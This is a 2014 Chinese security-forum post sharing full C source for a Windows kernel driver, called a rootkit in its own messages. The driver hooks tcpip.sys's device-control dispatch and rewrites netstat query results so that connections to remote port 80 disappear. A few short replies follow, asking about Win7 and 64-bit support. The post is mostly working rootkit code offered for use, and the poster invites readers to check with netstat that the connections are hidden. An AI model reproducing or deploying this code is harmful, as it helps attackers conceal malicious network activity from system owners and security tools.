首页
社区
课程
招聘
[分享]隐藏远端80端口
发表于: 2014-2-18 14:26 5623

[分享]隐藏远端80端口

2014-2-18 14:26
5623
/*/////////////////////////////////////////
同过HOOK TCPIP.SYS的IRPS处理函数来隐藏端口

/*////////////////////////////////////////

#include "ntddk.h"
#include "tdiinfo.h"

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef BYTE * LPBYTE;

#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003

#define HTONS(a)  (((0xFF&a)<<8) + ((0xFF00&a)>>8))
/*/////////////////////////////////////////////////
请求类型不一样返回的数据结构也会不同

/*//////////////////////////////////////////////////
typedef struct _CONNINFO101 {
   unsigned long status;
   unsigned long src_addr;
   unsigned short src_port;
   unsigned short unk1;
   unsigned long dst_addr;
   unsigned short dst_port;
   unsigned short unk2;
} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {
   unsigned long status;
   unsigned long src_addr;
   unsigned short src_port;
   unsigned short unk1;
   unsigned long dst_addr;
   unsigned short dst_port;
   unsigned short unk2;
   unsigned long pid;
} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {
   unsigned long size;
   unsigned long status;
   unsigned long src_addr;
   unsigned short src_port;
   unsigned short unk1;
   unsigned long dst_addr;
   unsigned short dst_port;
   unsigned short unk2;
   unsigned long pid;
   PVOID    unk3[35];
} CONNINFO110, *PCONNINFO110;

typedef struct _REQINFO {
        PIO_COMPLETION_ROUTINE OldCompletion;
        unsigned long          ReqType;
} REQINFO, *PREQINFO;

PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
NTSTATUS InstallTCPDriverHook();
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT, IN PIRP);

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);

///////////////////////////////////////////////////////////////////////////////////////

   
NTSTATUS DriverEntry(
                                   IN PDRIVER_OBJECT  DriverObject,
                                   IN PUNICODE_STRING RegistryPath
                                        )
{
       
    NTSTATUS                ntStatus;
    DbgPrint("rootkit loaded!\n");
        OldIrpMjDeviceControl = NULL;

    DriverObject->DriverUnload = RootkitUnload;
        ntStatus = InstallTCPDriverHook();
        if(!NT_SUCCESS(ntStatus))
                return ntStatus;

        return STATUS_SUCCESS;
}

NTSTATUS InstallTCPDriverHook()//安装Hook的函数
{
    NTSTATUS       ntStatus;
      
        UNICODE_STRING deviceTCPUnicodeString;
        WCHAR deviceTCPNameBuffer[]  = L"\\Device\\Tcp"; ///通过该设备来找到tcpip.sys驱动对象
    pFile_tcp  = NULL;
        pDev_tcp   = NULL;
        pDrv_tcpip = NULL;

        RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer);
        ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp);
        if(!NT_SUCCESS(ntStatus))
                return ntStatus;
        pDrv_tcpip = pDev_tcp->DriverObject;

        OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
        if (OldIrpMjDeviceControl)
                InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl);
       
        return STATUS_SUCCESS;
}

NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) //查找枚举端口号的IRP请求 并添加iocompleteroutine
{
    PIO_STACK_LOCATION      irpStack;
    ULONG                   ioTransferType;
        TDIObjectID             *inputBuffer;
        DWORD                                        context;

    irpStack = IoGetCurrentIrpStackLocation (Irp);

    switch (irpStack->MajorFunction)
        {
            case IRP_MJ_DEVICE_CONTROL:
                        if ((irpStack->MinorFunction == 0) && \
                                (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
                        {
                                ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
                                ioTransferType &= 3;
                                if (ioTransferType == METHOD_NEITHER)
                                {
                                        inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
                                       
                               
                                        if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
                                        {
                                                  DbgPrint("Input buffer %x\n",inputBuffer);
                                                if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110))
                                                {
                                               
                                                        irpStack->Control = 0;
                                                        irpStack->Control |= SL_INVOKE_ON_SUCCESS;

                                                       
                                                        irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO)); //在无分页内存池里分配存放参数的空间

                                                        ((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine;
                                                        ((PREQINFO)irpStack->Context)->ReqType       = inputBuffer->toi_id;

                                       
                                                        irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
                                                }
                                        }
                                }
                        }
                break;
               
                default:
                break;
    }

    return OldIrpMjDeviceControl(DeviceObject, Irp);
}

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,
                                                         IN PIRP Irp,
                                                         IN PVOID Context)
{
        PVOID OutputBuffer;
    DWORD NumOutputBuffers;
        PIO_COMPLETION_ROUTINE p_compRoutine;
        DWORD i;

        // Connection status values:
        // 0 = Invisible
        // 1 = CLOSED
        // 2 = LISTENING
        // 3 = SYN_SENT
        // 4 = SYN_RECEIVED
        // 5 = ESTABLISHED
        // 6 = FIN_WAIT_1
        // 7 = FIN_WAIT_2
        // 8 = CLOSE_WAIT
        // 9 = CLOSING
        // ...

        OutputBuffer = Irp->UserBuffer;
        p_compRoutine = ((PREQINFO)Context)->OldCompletion;

        if (((PREQINFO)Context)->ReqType == 0x101)
        {
                NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
                for(i = 0; i < NumOutputBuffers; i++)
                {

                        if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80) //隐藏的端口为 80
                                ((PCONNINFO101)OutputBuffer)[i].status = 0;
                }
        }
        else if (((PREQINFO)Context)->ReqType == 0x102)
        {
                NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
                for(i = 0; i < NumOutputBuffers; i++)
                {

                        if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) ==80)
                                ((PCONNINFO102)OutputBuffer)[i].status = 0;
                }
        }
        else if (((PREQINFO)Context)->ReqType == 0x110)
        {
                NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
                for(i = 0; i < NumOutputBuffers; i++)
                {

                        if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)
                                ((PCONNINFO110)OutputBuffer)[i].status = 0;
                }
        }

        ExFreePool(Context);

        if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
        {
                return (p_compRoutine)(DeviceObject, Irp, NULL);
        }
        else
        {
                return Irp->IoStatus.Status;
        }
}

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
{
        DbgPrint("rootkit unload!\n");
        if (OldIrpMjDeviceControl)
                InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)OldIrpMjDeviceControl);       
        if (pFile_tcp != NULL)
                ObDereferenceObject(pFile_tcp);
        pFile_tcp = NULL;

        return STATUS_SUCCESS;
}

运行一下
netstat -ano 或者netstat -a看看是不是80端口看不到了呢?

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
2
之前写过类似的隐藏端口的驱动
2014-2-18 14:42
0
雪    币: 24
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不兼容win7 吧
2014-2-18 14:47
0
雪    币: 110
活跃值: (308)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
mark...
2014-2-18 20:22
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
64位操作系统如何处理?
2014-3-17 10:16
0
游客
登录 | 注册 方可回帖
返回
//